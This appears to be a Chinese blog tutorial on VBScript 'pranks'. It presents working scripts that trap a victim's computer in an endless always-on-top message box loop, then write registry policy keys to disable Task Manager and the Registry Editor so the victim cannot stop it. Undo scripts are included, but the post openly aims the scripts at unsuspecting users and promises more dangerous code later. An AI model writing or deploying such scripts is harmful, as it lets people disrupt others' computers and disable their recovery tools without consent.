用VBS让电脑欲哭无泪
前言
经过了前面几章对VBS操作的了解,我们顺利的进入了令人期待的实战篇(其实是恶搞片)。恶搞,,,呸,实战篇我依然会对代码进行解析,但不会像讲基础那样细节,如果有听不懂的地方,可以回顾一下前几章。
传送门:1. 入门篇,2.基础篇,3. 注册表篇。
一、死循环!
一个靠自身控制无法终止的程序称为“死循环”。在编程中死循环并不是一个需要避免的问题,相反,在实际应用中,我们经常需要用到死循环。
代码1:
do
msgbox "666"
loop
创建一个死循环,让他一直弹出窗口,无论怎么点击都关不掉。这是初学者最喜欢的一种,简单方便,对付电脑小白很好用,但遇到一些稍微懂点电脑的就很容易被关掉。
解决方法:
按“Ctrl+Shift+ESC”快捷键打开“任务管理器”,在进程里面找到一个名为“Microsoft ® Windows Based Script Host”的进程,然后结束它就OK。
二、破解VBS死循环的万能钥匙
我们身为编写者,需要不断地在自己电脑上修改并测试,像上面的死循环,虽说有解决方法,但解决过程重复繁琐,测试时将会消耗不少的时间,所以我们先编写一个能随时结束死循环的脚本。
代码2:
Set Objshell=CreateObject("wscript.shell")
Objshell.run"taskkill -f -t -im wscript.exe"
实现起来很简单,使用系统的“taskkill”命令结束VBS的进程就OK了。
三、改造代码1
“代码1”脚本过于简单,有些佛系小白都不理它,接着干别的事,因为这个脚本还没有威胁到他的使用,而我们也就没有达到目的,这可不行,我们得给他上才艺!
代码3:
do
msgbox "666",4096
loop
我们只需要在它第二个参数上写“4096”,这个窗口就会被置顶显示,不管他打开什么,你的窗口总是会出现在最上面,再佛系的人也忍不了。
vbSystemModal 4096 系统模式:在用户响应消息框前,所有应用程序都会被挂起。
解决了小白,我们就要照顾一下大佬了,咱们也不能总欺负小白。大佬会打开任务管理器,然后找到进程并把它结束,既然这样,那我们就禁用任务管理器!而这就涉及到了注册表操作。我们继续修改代码。
代码4:
Dim OperationRegistry
Set OperationRegistry=WScript.CreateObject("WScript.Shell")
OperationRegistry.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"
do
msgbox "666",4096
loop
这里添加的三段代码,就是禁用任务管理器。前面说过,在你不是很了解注册表的时候千万不要胡乱修改,因为你改了,可能就改不回来了,从而导致很多麻烦,但在我们有代码的情况下就不怕这种麻烦了,想要解除任务管理器的禁用只需要把参数1改回0就行了。
解除禁用任务管理器:
Dim OperationRegistry
Set OperationRegistry=WScript.CreateObject("WScript.Shell")
OperationRegistry.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"
四、改造代码4
至此为止,对付大部分人已经足够了,但对付那些对注册表非常清楚的大佬还是不行,他们完全可以手动将注册表改回正常,本人有幸尝过自己的代码,在百度的帮助下改回去是没问题的。
既然要做,那就做绝一点,不能丢了面子是吧,既然他会手动修改注册表,那我们就把他注册表禁用了!
代码5:
Dim OperationRegistry
Set OperationRegistry=WScript.CreateObject("WScript.Shell")
OperationRegistry.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"
OperationRegistry.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools",1,"REG_DWORD"
do
msgbox "666",4096
loop
这里在禁用任务管理器的代码后面又追加了一条禁用注册表的代码。
注册表都被禁用了,那还能改的回来吗?万一自己不小心打开了怎么办?不用怕,还是那句话,我们有代码就不怕麻烦,参数从1改回0,就OK了。
解除禁用注册表
Dim OperationRegistry
Set OperationRegistry=WScript.CreateObject("WScript.Shell")
OperationRegistry.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools",0,"REG_DWORD"
到代码5,我们这个简单的死循环也就算了大成了,虽说没几行代码,却很实用,有点脾气的人可能已经在重装系统了(偷笑)。
结束语
我们可以看出VBS并不严谨,代码基本都是拼凑起来就能用,所以学起来也很快。博主编写的都是一些娱乐为主的代码,稍微麻烦或危险的,我也会放出解决方法。危险的也有,在后面会放出来,感兴趣的同学点点关注,不迷路。